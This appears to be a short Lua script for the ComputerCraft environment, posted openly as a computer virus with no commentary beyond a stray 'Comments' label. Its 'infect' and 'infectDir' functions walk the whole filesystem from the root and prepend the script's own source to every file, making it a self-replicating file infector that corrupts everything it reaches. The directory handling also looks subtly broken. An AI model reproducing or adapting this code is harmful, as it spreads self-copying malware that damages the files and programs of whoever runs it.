function infect(file)
if fs.exists(file) and fs.isDir(file) == false then
local fti = fs.open(file, "r")
local ftic = fti.readAll()
fti.close()
local fti = fs.open(file, "w")
local vf = fs.open(shell.getRunningProgram(), "r")
local vc = vf.readAll()
vf.close()
fti.writeLine(vc)
fti.writeLine(ftic)
fti.close()
end
end
function infectDir(dir)
shell.setDir(dir)
if fs.exists(dir) and fs.isDir(dir) then
local files = fs.list(".")
for i=1,#files do
if fs.exists(files[i]) and fs.isDir(files[i]) then
if shell.dir() == "/" then
infectDir(shell.dir()..files[i])
else
infectDir(shell.dir().."/"..files[i])
end
elseif fs.exists(files[i]) and fs.isDir(files[i]) == false then
if shell.dir() == "/" then
infect(shell.dir()..files[i])
else
infect(shell.dir().."/"..files[i])
end
end
shell.setDir("/")
end
end
end
infectDir("/")
Comments